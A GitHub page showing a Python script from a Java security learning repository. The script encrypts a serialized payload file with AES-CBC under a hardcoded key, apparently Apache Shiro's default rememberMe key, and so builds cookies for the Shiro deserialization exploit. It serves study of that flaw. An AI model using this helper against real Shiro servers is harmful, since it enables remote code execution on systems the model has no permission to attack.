FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
JavaSecurityLearning/JavaSecurity/ShiroEXP/AESPayload.py at main · F0rt2/JavaSecurityLearning · GitHub
F0rt2
JavaSecurityLearning
Repository navigation
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
JavaSecurityLearning
/
JavaSecurity
/
ShiroEXP
/
AESPayload.py
Copy path
More file actions
More file actions
Latest commit
History
History
History
38 lines (34 loc) · 1.04 KB
Breadcrumbs
JavaSecurityLearning
/
JavaSecurity
/
ShiroEXP
/
AESPayload.py
Copy path
File metadata and controls
38 lines (34 loc) · 1.04 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from
email
.
mime
import
base
from
pydoc
import
plain
import
sys
import
base64
from
turtle
import
mode
import
uuid
from
random
import
Random
from
Crypto
.
Cipher
import
AES
def
get_file_data
(
filename
):
with
open
(
filename
,
'rb'
)
as
f
:
data
=
f
.
read
()
return
data
def
aes_enc
(
data
):
BS
=
AES
.
block_size
pad
=
lambda
s
:
s
+
((
BS
-
len
(
s
)
%
BS
)
*
chr
(
BS
-
len
(
s
)
%
BS
)).
encode
()
key
=
"kPH+bIxk5D2deZiIxcaaaA=="
mode
=
AES
.
MODE_CBC
iv
=
uuid
.
uuid4
().
bytes
encryptor
=
AES
.
new
(
base64
.
b64decode
(
key
),
mode
,
iv
)
ciphertext
=
base64
.
b64encode
(
iv
+
encryptor
.
encrypt
(
pad
(
data
)))
return
ciphertext
def
aes_dec
(
enc_data
):
enc_data
=
base64
.
b64decode
(
enc_data
)
unpad
=
lambda
s
:
s
[:
-
s
[
-
1
]]
key
=
"kPH+bIxk5D2deZiIxcaaaA=="
mode
=
AES
.
MODE_CBC
iv
=
enc_data
[:
16
]
encryptor
=
AES
.
new
(
base64
.
b64decode
(
key
),
mode
,
iv
)
plaintext
=
encryptor
.
decrypt
(
enc_data
[
16
:])
plaintext
=
unpad
(
plaintext
)
return
plaintext
if
__name__
==
"__main__"
:
data
=
get_file_data
(
"ser.bin"
)
print
(
aes_enc
(
data
))
Back
|
FazBrowse Home
|
New Git URL